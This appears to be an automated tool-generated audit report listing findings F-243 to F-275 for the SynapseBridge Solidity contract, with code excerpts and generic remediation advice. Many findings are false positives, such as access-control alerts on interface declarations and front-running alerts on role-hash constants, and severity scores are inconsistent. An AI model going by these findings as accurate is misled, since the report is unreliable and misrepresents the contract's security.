CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1904
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1899 |         uint256 dx
1900 |     ) external view returns (uint256);
1901 |
1902 |     function calculateTokenAmount(uint256[] calldata amounts, bool deposit)
external view returns (uint256);
1903 |
>> 1904 |     function calculateRemoveLiquidity(uint256 amount) external view returns
(uint256[] memory);
1905 |
1906 |     function calculateRemoveLiquidityOneToken(uint256 tokenAmount, uint8
tokenIndex)
1907 |         external
1908 |         view
1909 |         returns (uint256 availableTokenAmount);

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-243. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1960
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1955 | }
1956 |
1957 | // bridge/SynapseBridge.sol
1958 |
1959 | interface IERC20Mintable is IERC20 {
>> 1960 |     function mint(address to, uint256 amount) external;
1961 | }
1962 |
1963 | contract SynapseBridge is Initializable, AccessControlUpgradeable,
ReentrancyGuardUpgradeable, PausableUpgradeable {
1964 |     using SafeERC20 for IERC20;
1965 |     using SafeERC20 for IERC20Mintable;

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-244. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO

PROPERTY	VALUE
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1982
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1977 |
1978 |     mapping(bytes32 => bool) private kappaMap;
1979 |
1980 |     receive() external payable {}
1981 |
>> 1982 |     function initialize() external initializer {
1983 |         startBlockNumber = block.number;
1984 |         _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
1985 |         __AccessControl_init();
1986 |     }
1987 |

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-245. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8

PROPERTY	VALUE
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1988
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1983 |         startBlockNumber = block.number;
1984 |         _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
1985 |         __AccessControl_init();
1986 |     }
1987 |
>> 1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
1993 |     function setWethAddress(address payable _wethAddress) external {

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-246. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1993

PROPERTY	VALUE
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
>> 1993 |     function setWethAddress(address payable _wethAddress) external {
1994 |         require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not admin");
1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-247. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1998
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

1993 |     function setWethAddress(address payable _wethAddress) external {
1994 |         require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not admin");
1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
>> 1998 |     function addKappas(bytes32[] calldata kappas) external {
1999 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2000 |         for (uint256 i = 0; i < kappas.length; ++i) {
2001 |             kappaMap[kappas[i]] = true;
2002 |         }
2003 |     }

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-248. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2066
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

2061 |
2062 |     // v2 events
2063 |     event TokenRedeemV2(bytes32 indexed to, uint256 chainId, IERC20 token,
uint256 amount);
2064 |
2065 |     // VIEW FUNCTIONS ***/
>> 2066 |     function getFeeBalance(address tokenAddress) external view returns
(uint256) {
2067 |         return fees[tokenAddress];
2068 |     }
2069 |
2070 |     function kappaExists(bytes32 kappa) external view returns (bool) {
2071 |         return kappaMap[kappa];

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-249. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2070
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

2065 |     // VIEW FUNCTIONS ***/
2066 |     function getFeeBalance(address tokenAddress) external view returns
(uint256) {
2067 |         return fees[tokenAddress];

```

```

2068 |     }
2069 |
>> 2070 |     function kappaExists(bytes32 kappa) external view returns (bool) {
2071 |         return kappaMap[kappa];
2072 |     }
2073 |
2074 |     // FEE FUNCTIONS ***/
2075 |     /**

```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-250. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2080
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

2075 |     /**
2076 |     * * @notice withdraw specified ERC20 token fees to a given address
2077 |     * * @param token ERC20 token in which fees accumulated to transfer
2078 |     * * @param to Address to send the fees to
2079 |     */
>> 2080 |     function withdrawFees(IERC20 token, address to) external whenNotPaused {
2081 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2082 |         require(to != address(0), "Address is 0x000");
2083 |         if (fees[address(token)] != 0) {
2084 |             token.safeTransfer(to, fees[address(token)]);
2085 |             fees[address(token)] = 0;

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-251. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2090
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

2085 |         fees[address(token)] = 0;
2086 |     }
2087 | }
2088 |
2089 | // PAUSABLE FUNCTIONS ***/
>> 2090 | function pause() external {
2091 |     require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2092 |     _pause();
2093 | }
2094 |
2095 | function unpause() external {

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-252. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2095
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

2090 |     function pause() external {
2091 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2092 |         _pause();
2093 |     }
2094 |
>> 2095 |     function unpause() external {
2096 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2097 |         _unpause();
2098 |     }
2099 |
2100 |     /**

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-253. Potential Integer Overflow/Underflow

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:457 (_remove)
Status	Open (28% conf.)
Detected By	gptlens

Description

Arithmetic operation without SafeMath or Solidity $\geq 0.8.0$ overflow protection. May allow integer overflow/underflow.

Vulnerable Code

```

452 |         if (valueIndex != 0) { // Equivalent to contains(set, value)
453 |             // To delete an element from the _values array in O(1), we swap
the element to delete with the last one in
454 |             // the array, and then remove the last element (sometimes called
as 'swap and pop').
455 |             // This modifies the order of the array, as noted in {at}.
456 |
>> 457 |             uint256 toDeleteIndex = valueIndex - 1;
458 |             uint256 lastIndex = set._values.length - 1;
459 |
460 |             // When the value to delete is the last one, the swap operation is
unnecessary. However, since this occurs
461 |             // so rarely, we still do the swap anyway to avoid the gas cost of
adding an 'if' statement.
462 |

```

Impact Analysis

Arithmetic overflow/underflow can cause balances to wrap around, enabling attackers to mint tokens or manipulate accounting. Solidity 0.8+ has built-in overflow protection, but unchecked blocks and assembly bypass this.

Recommendation

Review and address the integer overflow vulnerability. Refer to SWC-101 for mitigation guidance.

References

- SWC-101

- OWASP Smart Contract Top 10

F-254. ml_detected_vulnerability

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	41%
Location	SynapseBridge.flat.sol:0
Status	Open (41% conf.)
Detected By	dagmn

Description

Dangerous use of block.timestamp

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Avoid using block.timestamp for critical logic; use block.number or external oracle

References

- SWC-116
- OWASP Smart Contract Top 10

F-255. delegatecall

PROPERTY	VALUE
Severity	MEDIUM
Category	

PROPERTY	VALUE
CVSS Score	6.8
Confidence	40%
Location	unknown: ?
Status	Open (40% conf.)
Detected By	smartbugs_ml

Description

ML model detected delegatecall usage without proper validation

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Ensure delegatecall targets are whitelisted and validated

References

- OWASP Smart Contract Top 10

F-256. bad_randomness

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	40%
Location	unknown: ?
Status	Open (40% conf.)
Detected By	smartbugs_ml

Description

ML model detected weak randomness source (block.timestamp or blockhash)

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Chainlink VRF or commit-reveal scheme for randomness

References

- OWASP Smart Contract Top 10

F-257. Integer Overflow/Underflow

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:457
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Subtraction without underflow check at line 457. Solidity < 0.8 without SafeMath.

Vulnerable Code

```

452 |         if (valueIndex != 0) { // Equivalent to contains(set, value)
453 |             // To delete an element from the _values array in O(1), we swap
the element to delete with the last one in
454 |             // the array, and then remove the last element (sometimes called
as 'swap and pop').
455 |             // This modifies the order of the array, as noted in {at}.
456 |
>> 457 |             uint256 toDeleteIndex = valueIndex - 1;
458 |             uint256 lastIndex = set._values.length - 1;
459 |

```

```

460 |          // When the value to delete is the last one, the swap operation is
unnecessary. However, since this occurs
461 |          // so rarely, we still do the swap anyway to avoid the gas cost of
adding an 'if' statement.
462 |

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-101
- OWASP Smart Contract Top 10

F-258. Integer Overflow/Underflow

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:468
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Addition without overflow check at line 468. Solidity < 0.8 without SafeMath.

Vulnerable Code

```

463 |          bytes32 lastvalue = set._values[lastIndex];
464 |
465 |          // Move the last value to the index where the value to delete is
466 |          set._values[toDeleteIndex] = lastvalue;
467 |          // Update the index for the moved value
>> 468 |          set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-
based
469 |
470 |          // Delete the slot where the moved value was stored
471 |          set._values.pop();

```

```
472 |
473 | // Delete the index for the deleted slot
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-101
- OWASP Smart Contract Top 10

F-259. Integer Overflow/Underflow

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:804
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Addition without overflow check at line 804. Solidity < 0.8 without SafeMath.

Vulnerable Code

```
799 | * @dev Returns the addition of two unsigned integers, with an overflow
flag.
800 | *
801 | * _Available since v3.4._
802 | */
803 | function tryAdd(uint256 a, uint256 b) internal pure returns (bool,
uint256) {
>> 804 |     uint256 c = a + b;
805 |     if (c < a) return (false, 0);
806 |     return (true, c);
807 | }
```

```
808 |
809 | /**
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-101
- OWASP Smart Contract Top 10

F-260. Integer Overflow/Underflow

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:829
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Multiplication without overflow check at line 829. Solidity < 0.8 without SafeMath.

Vulnerable Code

```
824 |     function tryMul(uint256 a, uint256 b) internal pure returns (bool,
uint256) {
825 |         // Gas optimization: this is cheaper than requiring 'a' not being
zero, but the
826 |         // benefit is lost if 'b' is also tested.
827 |         // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/
522
828 |         if (a == 0) return (true, 0);
>> 829 |         uint256 c = a * b;
830 |         if (c / a != b) return (false, 0);
831 |         return (true, c);
832 |     }
```



```
833 |
834 | /**
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-101
- OWASP Smart Contract Top 10

F-261. Integer Overflow/Underflow

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:865
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Addition without overflow check at line 865. Solidity < 0.8 without SafeMath.

Vulnerable Code

```
860 |      * Requirements:
861 |      *
862 |      * - Addition cannot overflow.
863 |      */
864 |      function add(uint256 a, uint256 b) internal pure returns (uint256) {
>> 865 |          uint256 c = a + b;
866 |          require(c >= a, "SafeMath: addition overflow");
867 |          return c;
868 |      }
869 |
870 |      /**
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-101
- OWASP Smart Contract Top 10

F-262. Integer Overflow/Underflow

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:897
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Multiplication without overflow check at line 897. Solidity < 0.8 without SafeMath.

Vulnerable Code

```

892 |      *
893 |      * - Multiplication cannot overflow.
894 |      */
895 |      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
896 |          if (a == 0) return 0;
>> 897 |          uint256 c = a * b;
898 |          require(c / a == b, "SafeMath: multiplication overflow");
899 |          return c;
900 |      }
901 |
902 |      /**

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-101
- OWASP Smart Contract Top 10

F-263. Unbounded Array Growth DoS

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:None
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Contract uses push() and loops over array length. Array can grow unbounded causing gas limit DoS.

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-128
- OWASP Smart Contract Top 10

F-264. Front-Running Vulnerability

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1619
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Hash comparison - solution can be front-run. Found at line 1619.

Vulnerable Code

```
1614 | * Roles are referred to by their `bytes32` identifier. These should be
      | exposed
1615 | * in the external API and be unique. The best way to achieve this is by
1616 | * using `public constant` hash digests:
1617 | *
1618 | * ```
>> 1619 | * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
      | * ```
1620 | *
1621 | *
1622 | * Roles can be used to represent a set of permissions. To restrict access to
a    |
      | 1623 | * function call, use {hasRole}:
      | 1624 | *
```

Impact Analysis

Pending transactions in the mempool are visible to anyone. An attacker can observe a profitable transaction and submit their own with higher gas to be executed first, extracting value (sandwich attacks, DEX arbitrage).

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-114
- OWASP Smart Contract Top 10

F-265. Front-Running Vulnerability

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1968
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Hash comparison - solution can be front-run. Found at line 1968.

Vulnerable Code

```
1963 | contract SynapseBridge is Initializable, AccessControlUpgradeable,  
ReentrancyGuardUpgradeable, PausableUpgradeable {  
1964 |     using SafeERC20 for IERC20;  
1965 |     using SafeERC20 for IERC20Mintable;  
1966 |     using SafeMath for uint256;  
1967 |  
>> 1968 |     bytes32 public constant NODEGROUP_ROLE = keccak256("NODEGROUP_ROLE");  
1969 |     bytes32 public constant GOVERNANCE_ROLE = keccak256("GOVERNANCE_ROLE");  
1970 |  
1971 |     mapping(address => uint256) private fees;  
1972 |  
1973 |     uint256 public startBlockNumber;
```

Impact Analysis

Pending transactions in the mempool are visible to anyone. An attacker can observe a profitable transaction and submit their own with higher gas to be executed first, extracting value (sandwich attacks, DEX arbitrage).

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-114
- OWASP Smart Contract Top 10

F-266. Front-Running Vulnerability

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1969
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Hash comparison - solution can be front-run. Found at line 1969.

Vulnerable Code

```
1964 | using SafeERC20 for IERC20;
1965 | using SafeERC20 for IERC20Mintable;
1966 | using SafeMath for uint256;
1967 |
1968 | bytes32 public constant NODEGROUP_ROLE = keccak256("NODEGROUP_ROLE");
>> 1969 | bytes32 public constant GOVERNANCE_ROLE = keccak256("GOVERNANCE_ROLE");
1970 |
1971 | mapping(address => uint256) private fees;
1972 |
1973 | uint256 public startBlockNumber;
1974 | uint256 public constant bridgeVersion = 6;
```

Impact Analysis

Pending transactions in the mempool are visible to anyone. An attacker can observe a profitable transaction and submit their own with higher gas to be executed first, extracting value (sandwich attacks, DEX arbitrage).

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-114
- OWASP Smart Contract Top 10

F-267. Missing Access Control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:683
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Unprotected withdrawal function. Function 'withdraw' at line 683 has no access control.

Vulnerable Code

```
678 | */
679 | interface IERC20 {
680 |     /**
681 |      * @dev Returns the amount of tokens in existence.
682 |      */
>> 683 |     function totalSupply() external view returns (uint256);
684 |
685 |     /**
686 |      * @dev Returns the amount of tokens owned by `account`.
687 |      */
688 |     function balanceOf(address account) external view returns (uint256);
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

References

- SWC-105
- OWASP Smart Contract Top 10

F-268. Missing Access Control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:688
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Unprotected withdrawal function. Function 'withdraw' at line 688 has no access control.

Vulnerable Code

```
683 |     function totalSupply() external view returns (uint256);
684 |
685 |     /**
686 |      * @dev Returns the amount of tokens owned by `account`.
687 |      */
>> 688 |     function balanceOf(address account) external view returns (uint256);
689 |
690 |     /**
691 |      * @dev Moves `amount` tokens from the caller's account to `recipient`.
692 |      *
693 |      * Returns a boolean value indicating whether the operation succeeded.
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

References

- SWC-105
- OWASP Smart Contract Top 10

F-269. Missing Access Control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:697
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Unprotected withdrawal function. Function 'withdraw' at line 697 has no access control.

Vulnerable Code

```

692 |      *
693 |      * Returns a boolean value indicating whether the operation succeeded.
694 |      *
695 |      * Emits a {Transfer} event.
696 |      */
>> 697 |      function transfer(address recipient, uint256 amount) external returns
(bool);
698 |
699 |      /**
700 |      * @dev Returns the remaining number of tokens that `spender` will be
701 |      * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 |      * zero by default.
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

References

- SWC-105
- OWASP Smart Contract Top 10

F-270. Missing Access Control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:706
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Unprotected withdrawal function. Function 'withdraw' at line 706 has no access control.

Vulnerable Code

```

701 |      * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 |      * zero by default.
703 |      *
704 |      * This value changes when {approve} or {transferFrom} are called.
705 |      */
>> 706 |      function allowance(address owner, address spender) external view returns
(uint256);
707 |
708 |      /**
709 |      * @dev Sets `amount` as the allowance of `spender` over the caller's
tokens.
710 |      *
711 |      * Returns a boolean value indicating whether the operation succeeded.
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

References

- SWC-105
- OWASP Smart Contract Top 10

F-271. Missing Access Control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:722
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Unprotected withdrawal function. Function 'withdraw' at line 722 has no access control.

Vulnerable Code

```

717 |      * desired value afterwards:
718 |      * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
719 |      *
720 |      * Emits an {Approval} event.
721 |      */
>> 722 |      function approve(address spender, uint256 amount) external returns (bool);
723 |
724 |      /**
725 |      * @dev Moves `amount` tokens from `sender` to `recipient` using the
726 |      * allowance mechanism. `amount` is then deducted from the caller's
727 |      * allowance.
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

References

- SWC-105
- OWASP Smart Contract Top 10

F-272. Missing Access Control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:733
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Unprotected withdrawal function. Function 'withdraw' at line 733 has no access control.

Vulnerable Code

```
728 |      *
729 |      * Returns a boolean value indicating whether the operation succeeded.
730 |      *
731 |      * Emits a {Transfer} event.
732 |      */
>> 733 |      function transferFrom(address sender, address recipient, uint256 amount)
external returns (bool);
734 |
735 |      /**
736 |      * @dev Emitted when `value` tokens are moved from one account (`from`) to
737 |      * another (`to`).
738 |      *
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

References

- SWC-105
- OWASP Smart Contract Top 10

F-273. Missing Access Control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2080
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Unprotected withdrawal function. Function 'withdraw' at line 2080 has no access control.

Vulnerable Code

```

2075 | /**
2076 |  * * @notice withdraw specified ERC20 token fees to a given address
2077 |  * * @param token ERC20 token in which fees accumulated to transfer
2078 |  * * @param to Address to send the fees to
2079 |  */
>> 2080 | function withdrawFees(IERC20 token, address to) external whenNotPaused {
2081 |     require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2082 |     require(to != address(0), "Address is 0x000");
2083 |     if (fees[address(token)] != 0) {
2084 |         token.safeTransfer(to, fees[address(token)]);
2085 |         fees[address(token)] = 0;

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

References

- SWC-105
- OWASP Smart Contract Top 10

F-274. Missing Access Control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2142
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Unprotected withdrawal function. Function 'withdraw' at line 2142 has no access control.

Vulnerable Code

```

2137 |      * @param token ERC20 compatible token to withdraw from the bridge
2138 |      * @param amount Amount in native token decimals to withdraw
2139 |      * @param fee Amount in native token decimals to save to the contract as
fees
2140 |      * @param kappa kappa
2141 |      **/
>> 2142 |      function withdraw(
2143 |          address to,
2144 |          IERC20 token,
2145 |          uint256 amount,
2146 |          uint256 fee,
2147 |          bytes32 kappa

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

References

- SWC-105
- OWASP Smart Contract Top 10

F-275. Missing Access Control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2390
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Unprotected withdrawal function. Function 'withdraw' at line 2390 has no access control.

Vulnerable Code

```

2385 |      * @param swapTokenIndex Specifies which of the underlying LP assets the
      nodes should attempt to redeem for
2386 |      * @param swapMinAmount Specifies the minimum amount of the underlying
      asset needed for the nodes to execute the redeem/swap
